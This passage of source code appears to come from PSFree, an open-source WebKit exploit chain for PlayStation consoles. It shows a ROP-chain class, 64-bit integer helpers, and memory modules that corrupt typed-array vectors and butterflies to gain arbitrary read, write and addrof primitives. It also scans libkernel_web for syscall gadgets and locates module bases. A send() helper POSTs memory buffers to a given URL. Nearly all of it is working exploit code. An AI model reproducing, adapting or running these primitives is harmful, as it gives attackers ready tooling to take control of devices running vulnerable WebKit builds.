push_syscall(syscall_name, ...args) {
if (typeof syscall_name !== 'string') {
throw TypeError(`syscall_name not a string: ${syscall_name}`);
}
const sysno = syscall_map.get(syscall_name);
if (sysno === undefined) {
throw Error(`syscall_name not found: ${syscall_name}`);
}
const syscall_addr = this.syscall_array[sysno];
if (syscall_addr === undefined) {
throw Error(`syscall number not in syscall_array: ${sysno}`);
}
this.push_call(syscall_addr, ...args);
}
// ROP chain to retrieve rax
push_get_retval() {
throw Error('push_get_retval() not implemented');
}
// Firmware specific method to launch a ROP chain
//
// Implementations must call check_stale() and check_is_empty() before
// trying to launch the chain.
run() {
throw Error('run() not implemented');
}
get return_value() {
return read64(this._return_value, 0);
}
// Sets needed class properties
//
// Args:
// gadgets:
// A Map-like object mapping instruction strings (e.g "pop rax; ret")
// to their addresses in memory.
// syscall_array:
// An array whose indices correspond to syscall numbers. Maps syscall
// numbers to their addresses in memory. Defaults to an empty Array.
//
// Raises:
// Error:
// For missing bare minimum gadgets
static init_class(gadgets, syscall_array=[]) {
for (const insn of argument_pops) {
if (!gadgets.has(insn)) {
throw Error(`gadget map must contain this gadget: ${insn}`);
}
}
this.prototype.gadgets = gadgets;
this.prototype.syscall_array = syscall_array;
}
}
module/constants.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
export const KB = 1024;
export const MB = KB * KB;
export const GB = KB * KB * KB;
module/int64.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
function check_range(x) {
return (-0x80000000 <= x) && (x <= 0xffffffff);
}
function unhexlify(hexstr) {
if (hexstr.substring(0, 2) === "0x") {
hexstr = hexstr.substring(2);
}
if (hexstr.length % 2 === 1) {
hexstr = '0' + hexstr;
}
if (hexstr.length % 2 === 1) {
throw TypeError("Invalid hex string");
}
let bytes = new Uint8Array(hexstr.length / 2);
for (let i = 0; i < hexstr.length; i += 2) {
let new_i = hexstr.length - 2 - i;
let substr = hexstr.slice(new_i, new_i + 2);
bytes[i / 2] = parseInt(substr, 16);
}
return bytes;
}
// Decorator for Int instance operations. Takes care
// of converting arguments to Int instances if required.
function operation(f, nargs) {
return function () {
if (arguments.length !== nargs)
throw Error("Not enough arguments for function " + f.name);
let new_args = [];
for (let i = 0; i < arguments.length; i++) {
if (!(arguments[i] instanceof Int)) {
new_args[i] = new Int(arguments[i]);
} else {
new_args[i] = arguments[i];
}
}
return f.apply(this, new_args);
};
}
export class Int {
constructor(low, high) {
let buffer = new Uint32Array(2);
let bytes = new Uint8Array(buffer.buffer);
if (arguments.length > 2) {
throw TypeError('Int takes at most 2 args');
}
if (arguments.length === 0) {
throw TypeError('Int takes at min 1 args');
}
let is_one = false;
if (arguments.length === 1) {
is_one = true;
}
if (!is_one) {
if (typeof (low) !== 'number'
&& typeof (high) !== 'number') {
throw TypeError('low/high must be numbers');
}
}
if (typeof low === 'number') {
if (!check_range(low)) {
throw TypeError('low not a valid value: ' + low);
}
if (is_one) {
high = 0;
if (low < 0) {
high = -1;
}
} else {
if (!check_range(high)) {
throw TypeError('high not a valid value: ' + high);
}
}
buffer[0] = low;
buffer[1] = high;
} else if (typeof low === 'string') {
bytes.set(unhexlify(low));
} else if (typeof low === 'object') {
if (low instanceof Int) {
bytes.set(low.bytes);
} else {
if (low.length !== 8)
throw TypeError("Array must have exactly 8 elements.");
bytes.set(low);
}
} else {
throw TypeError('Int does not support your object for conversion');
}
this.buffer = buffer;
this.bytes = bytes;
this.neg = operation(function neg() {
let type = this.constructor;
let low = ~this.low();
let high = ~this.high();
let res = (new Int(low, high)).add(1);
return new type(res);
}, 0);
this.add = operation(function add(b) {
let type = this.constructor;
let low = this.low();
let high = this.high();
low += b.low();
let carry = 0;
if (low > 0xffffffff) {
carry = 1;
}
high += carry + b.high();
low &= 0xffffffff;
high &= 0xffffffff;
return new type(low, high);
}, 1);
this.sub = operation(function sub(b) {
let type = this.constructor;
b = b.neg();
let low = this.low();
let high = this.high();
low += b.low();
let carry = 0;
if (low > 0xffffffff) {
carry = 1;
}
high += carry + b.high();
low &= 0xffffffff;
high &= 0xffffffff;
return new type(low, high);
}, 1);
}
low() {
return this.buffer[0];
}
high() {
return this.buffer[1];
}
toString(is_pretty) {
if (!is_pretty) {
let low = this.low().toString(16).padStart(8, '0');
let high = this.high().toString(16).padStart(8, '0');
return '0x' + high + low;
}
let high = this.high().toString(16).padStart(8, '0');
high = high.substring(0, 4) + '_' + high.substring(4);
let low = this.low().toString(16).padStart(8, '0');
low = low.substring(0, 4) + '_' + low.substring(4);
return '0x' + high + '_' + low;
}
}
Int.Zero = new Int(0);
Int.One = new Int(1);
module/mem.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int } from './int64.mjs';
import {
read16,
read32,
read64,
write16,
write32,
write64,
} from './rw.mjs';
import * as o from './offset.mjs';
export let mem = null;
function init_module(memory) {
mem = memory;
}
export class Addr extends Int {
read8(offset) {
const addr = this.add(offset);
return mem.read8(addr);
}
read16(offset) {
const addr = this.add(offset);
return mem.read16(addr);
}
read32(offset) {
const addr = this.add(offset);
return mem.read32(addr);
}
read64(offset) {
const addr = this.add(offset);
return mem.read64(addr);
}
// returns a pointer instead of an Int
readp(offset) {
const addr = this.add(offset);
return mem.readp(addr);
}
write8(offset, value) {
const addr = this.add(offset);
mem.write8(addr, value);
}
write16(offset, value) {
const addr = this.add(offset);
mem.write16(addr, value);
}
write32(offset, value) {
const addr = this.add(offset);
mem.write32(addr, value);
}
write64(offset, value) {
const addr = this.add(offset);
mem.write64(addr, value);
}
}
class MemoryBase {
_addrof(obj) {
if (typeof obj !== 'object'
&& typeof obj !== 'function'
) {
throw TypeError('addrof argument not a JS object');
}
this.worker.a = obj;
write64(this.main, o.view_m_vector, this.butterfly.sub(0x10));
let res = read64(this.worker, 0);
write64(this.main, o.view_m_vector, this._current_addr);
return res;
}
addrof(obj) {
return new Addr(this._addrof(obj));
}
set_addr(addr) {
if (!(addr instanceof Int)) {
throw TypeError('addr must be an Int');
}
this._current_addr = addr;
write64(this.main, o.view_m_vector, this._current_addr);
}
get_addr() {
return this._current_addr;
}
// write0() is for when you want to write to address 0. You can't use for
// example: "mem.write32(Int.Zero, 0)", since you can't set by index the
// view when it isDetached(). isDetached() == true when m_mode >=
// WastefulTypedArray and m_vector == 0.
//
// Functions like write32() will index mem.worker via write() from rw.mjs.
//
// size is the number of bits to read/write.
//
// The constraint is 0 <= offset + 1 < 2**32.
//
// PS4 firmwares >= 9.00 and any PS5 version can write to address 0
// directly. All firmwares (PS4 and PS5) can read address 0 directly.
//
// See setIndex() from
// WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4
// 8.03 for more information. Affected firmwares will get this error:
//
// TypeError: Underlying ArrayBuffer has been detached from the view
write0(size, offset, value) {
const i = offset + 1;
if (i >= 2**32 || i < 0) {
throw RangeError(`read0() invalid offset: ${offset}`);
}
this.set_addr(new Int(-1));
switch (size) {
case 8: {
this.worker[i] = value;
}
case 16: {
write16(this.worker, i, value);
}
case 32: {
write32(this.worker, i, value);
}
case 64: {
write64(this.worker, i, value);
}
default: {
throw RangeError(`write0() invalid size: ${size}`);
}
}
}
read8(addr) {
this.set_addr(addr);
return this.worker[0];
}
read16(addr) {
this.set_addr(addr);
return read16(this.worker, 0);
}
read32(addr) {
this.set_addr(addr);
return read32(this.worker, 0);
}
read64(addr) {
this.set_addr(addr);
return read64(this.worker, 0);
}
// returns a pointer instead of an Int
readp(addr) {
return new Addr(this.read64(addr));
}
write8(addr, value) {
this.set_addr(addr);
this.worker[0] = value;
}
write16(addr, value) {
this.set_addr(addr);
write16(this.worker, 0, value);
}
write32(addr, value) {
this.set_addr(addr);
write32(this.worker, 0, value);
}
write64(addr, value) {
this.set_addr(addr);
write64(this.worker, 0, value);
}
}
export class Memory extends MemoryBase {
constructor(main, main_addr, worker, worker_addr, worker_index) {
super();
this.main = main;
this.main_addr = main_addr;
this.worker = worker;
this.worker_addr = worker_addr;
// The initial creation of the "a" property will change the butterfly
// address. Do it now so we can cache it for addrof().
worker.a = 0; // dummy value, we just want to create the "a" property
this.butterfly = read64(main, worker_index + o.js_butterfly);
write32(main, worker_index + o.view_m_length, 0xffffffff);
// setup main's m_vector to worker
write64(main, worker_index + o.view_m_vector, main_addr);
write64(worker, o.view_m_vector, worker_addr);
this._current_addr = main_addr;
init_module(this);
}
}
export class Memory2 extends MemoryBase {
constructor(main, worker) {
super();
this.main = main;
this.worker = worker;
// The initial creation of the "a" property will change the butterfly
// address. Do it now so we can cache it for addrof().
worker.a = 0; // dummy value, we just want to create the "a" property
this.butterfly = read64(main, o.js_butterfly);
write32(main, o.view_m_length, 0xffffffff);
this._current_addr = Int.Zero;
init_module(this);
}
}
module/memtools.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// This module are for utilities that depend on running the exploit first
import { Int } from './int64.mjs';
import { Addr, mem } from './mem.mjs';
import { align } from './utils.mjs';
import { KB } from './constants.mjs';
import { read32 } from './rw.mjs';
import * as rw from './rw.mjs';
import * as o from './offset.mjs';
export function make_buffer(addr, size) {
// see enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
// at webkitgtk 2.34.4
//
// views with m_mode < WastefulTypedArray don't have a ArrayBuffer object
// associated with them, if we ask for view.buffer, it will be created on
// the fly
const mode_fast = 0;
const u = new Uint8Array(1);
const u_addr = mem.addrof(u);
const old_addr = u_addr.read64(o.view_m_vector);
u_addr.write64(o.view_m_vector, addr);
const old_size = u_addr.read32(o.view_m_length);
u_addr.write32(o.view_m_length, size);
const old_mode = u_addr.read32(o.view_m_mode);
// force mode to FastTypedArray
u_addr.write32(o.view_m_mode, mode_fast);
const res = u.buffer;
// restore
u_addr.write64(o.view_m_vector, old_addr);
u_addr.write32(o.view_m_length, old_size);
u_addr.write32(o.view_m_mode, old_mode);
return res;
}
function eq(a, b) {
return (a.low() === b.low()) && (a.high() === b.high());
}
// these values came from analyzing dumps from CelesteBlue
function check_magic_at(p, is_text) {
// byte sequence that is very likely to appear at offset 0 of a .text
// segment
const text_magic = [
new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]),
new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]),
];
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
// .data magic from 3.00, 6.00, and 6.20
//const data_magic = [
// new Int(0x18),
// new Int(0x3c13f4bf, 0x1),
//];
// .data magic from 8.00 and 8.03
const data_magic = [
new Int(0x20),
new Int(0x3c13f4bf, 0x2),
];
const magic = is_text ? text_magic : data_magic;
const value = [p.read64(0), p.read64(8)];
return eq(value[0], magic[0]) && eq(value[1], magic[1]);
}
// Finds the base address of a segment: .text or .data
// Used on the ps4 to locate module base addresses
// * p:
// an address pointing somewhere in the segment to search
// * is_text:
// whether the segment is .text or .data
// * is_back:
// whether to search backwards (to lower addresses) or forwards
//
// Modules are likely to be separated by a couple of unmapped pages because of
// Address Space Layout Randomization (all module base addresses are
// randomized). This means that this function will either succeed or crash on
// a page fault, if the magic is not present.
//
// To be precise, modules are likely to be "surrounded" by unmapped pages, it
// does not mean that the distance between a boundary of a module and the
// nearest unmapped page is 0.
//
// The boundaries of a module is its base and end addresses.
//
// let module_base_addr = find_base(...);
// // Not guaranteed to crash, the nearest unmapped page is not necessarily at
// // 0 distance away from module_base_addr.
// addr.read8(-1);
//
export function find_base(addr, is_text, is_back) {
// ps4 page size
const page_size = 16 * KB;
// align to page size
addr = align(addr, page_size);
const offset = (is_back ? -1 : 1) * page_size;
while (true) {
if (check_magic_at(addr, is_text)) {
break;
}
addr = addr.add(offset)
}
return addr;
}
// gets the address of the underlying buffer of a JSC::JSArrayBufferView
export function get_view_vector(view) {
if (!ArrayBuffer.isView(view)) {
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
}
return mem.addrof(view).readp(o.view_m_vector);
}
export function resolve_import(import_addr) {
if (import_addr.read16(0) !== 0x25ff) {
throw Error(
`instruction at ${import_addr} is not of the form: jmp qword`
+ ' [rip + X]'
);
}
// module_function_import:
// jmp qword [rip + X]
// ff 25 xx xx xx xx // signed 32-bit displacement
const disp = import_addr.read32(2);
// sign extend
const offset = new Int(disp, disp >> 31);
// The rIP value used by "jmp [rip + X]" instructions is actually the rIP
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
const function_addr = import_addr.add(offset.add(6)).readp(0);
return function_addr;
}
export function init_syscall_array(
syscall_array,
libkernel_web_base,
max_search_size,
) {
if (typeof max_search_size !== 'number') {
throw TypeError(`max_search_size is not a number: ${max_search_size}`);
}
if (max_search_size < 0) {
throw Error(`max_search_size is less than 0: ${max_search_size}`);
}
const libkernel_web_buffer = make_buffer(
libkernel_web_base,
max_search_size,
);
const kbuf = new Uint8Array(libkernel_web_buffer);
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
// upper bound on the size of the .text section.
let text_size = 0;
let found = false;
for (let i = 0; i < max_search_size; i++) {
if (kbuf[i] === 0x72
&& kbuf[i + 1] === 0x64
&& kbuf[i + 2] === 0x6c
&& kbuf[i + 3] === 0x6f
) {
text_size = i;
found = true;
break;
}
}
if (!found) {
throw Error(
'"rdlo" string not found in libkernel_web, base address:'
+ ` ${libkernel_web_base}`
);
}
// search for the instruction sequence:
// syscall_X:
// mov rax, X
// mov r10, rcx
// syscall
for (let i = 0; i < text_size; i++) {
if (kbuf[i] === 0x48
&& kbuf[i + 1] === 0xc7
&& kbuf[i + 2] === 0xc0
&& kbuf[i + 7] === 0x49
&& kbuf[i + 8] === 0x89
&& kbuf[i + 9] === 0xca
&& kbuf[i + 10] === 0x0f
&& kbuf[i + 11] === 0x05
) {
const syscall_num = read32(kbuf, i + 3);
syscall_array[syscall_num] = libkernel_web_base.add(i);
// skip the sequence
i += 11;
}
}
}
module/offset.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// offsets for JSC::JSObject
export const js_butterfly = 0x8;
// offsets for JSC::JSArrayBufferView
export const view_m_vector = 0x10;
export const view_m_length = 0x18;
export const view_m_mode = 0x1c;
// sizeof JSC::JSArrayBufferView
export const size_view = 0x20;
// offsets for WTF::StringImpl
export const strimpl_strlen = 4;
export const strimpl_m_data = 8;
export const strimpl_inline_str = 0x14;
// sizeof WTF::StringImpl
export const size_strimpl = 0x18;
module/rw.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int } from './int64.mjs';
// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
// be corrupting the m_vector of our target views later, the ArrayBuffer's
// buffer will not correspond to our fake m_vector anyway.
//
// can't use:
//
// function read32(u8_view, offset) {
// let res = new Uint32Array(u8_view.buffer, offset, 1);
// return res[0];
// }
//
// to implement read32, we need to index the view instead:
//
// function read32(u8_view, offset) {
// let res = 0;
// for (let i = 0; i < 4; i++) {
// res += u8_view[offset + i] << i*8;
// }
// // << returns a signed integer, >>> converts it to unsigned
// return res >>> 0;
// }
// for reads less than 8 bytes
function read(u8_view, offset, size) {
let res = 0;
for (let i = 0; i < size; i++) {
res += u8_view[offset + i] << i*8;
}
// << returns a signed integer, >>> converts it to unsigned
return res >>> 0;
}
export function read16(u8_view, offset) {
return read(u8_view, offset, 2);
}
export function read32(u8_view, offset) {
return read(u8_view, offset, 4);
}
export function read64(u8_view, offset) {
let res = [];
for (let i = 0; i < 8; i++) {
res.push(u8_view[offset + i]);
}
return new Int(res);
}
// for writes less than 8 bytes
function write(u8_view, offset, value, size) {
for (let i = 0; i < size; i++) {
u8_view[offset + i] = (value >>> i*8) & 0xff;
}
}
export function write16(u8_view, offset, value) {
write(u8_view, offset, value, 2);
}
export function write32(u8_view, offset, value) {
write(u8_view, offset, value, 4);
}
export function write64(u8_view, offset, value) {
if (!(value instanceof Int)) {
throw TypeError('write64 value must be an Int');
}
let low = value.low();
let high = value.high();
for (let i = 0; i < 4; i++) {
u8_view[offset + i] = (low >>> i*8) & 0xff;
}
for (let i = 0; i < 4; i++) {
u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
}
}
export function sread64(str, offset) {
let res = [];
for (let i = 0; i < 8; i++) {
res.push(str.charCodeAt(offset + i));
}
return new Int(res);
}
module/utils.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int } from './int64.mjs';
export function die(msg) {
alert(msg);
undefinedFunction();
}
export function debug_log(msg) {
let textNode = document.createTextNode(msg);
let node = document.createElement("p").appendChild(textNode);
document.body.appendChild(node);
document.body.appendChild(document.createElement("br"));
}
export function clear_log() {
document.body.innerHTML = null;
}
export function str2array(str, length, offset) {
if (offset === undefined) {
offset = 0;
}
let a = new Array(length);
for (let i = 0; i < length; i++) {
a[i] = str.charCodeAt(i + offset);
}
return a;
}
// alignment must be 32 bits and is a power of 2
export function align(a, alignment) {
if (!(a instanceof Int)) {
a = new Int(a);
}
const mask = -alignment & 0xffffffff;
let type = a.constructor;
let low = a.low() & mask;
return new type(low, a.high());
}
export async function send(url, buffer, file_name, onload=() => {}) {
const file = new File(
[buffer],
file_name,
{type:'application/octet-stream'}
);
const form = new FormData();
form.append('upload', file);
debug_log('send');
const response = await fetch(url, {method: 'POST', body: form});
if (!response.ok) {
throw Error(`Network response was not OK, status: ${response.status}`);
}
onload();
}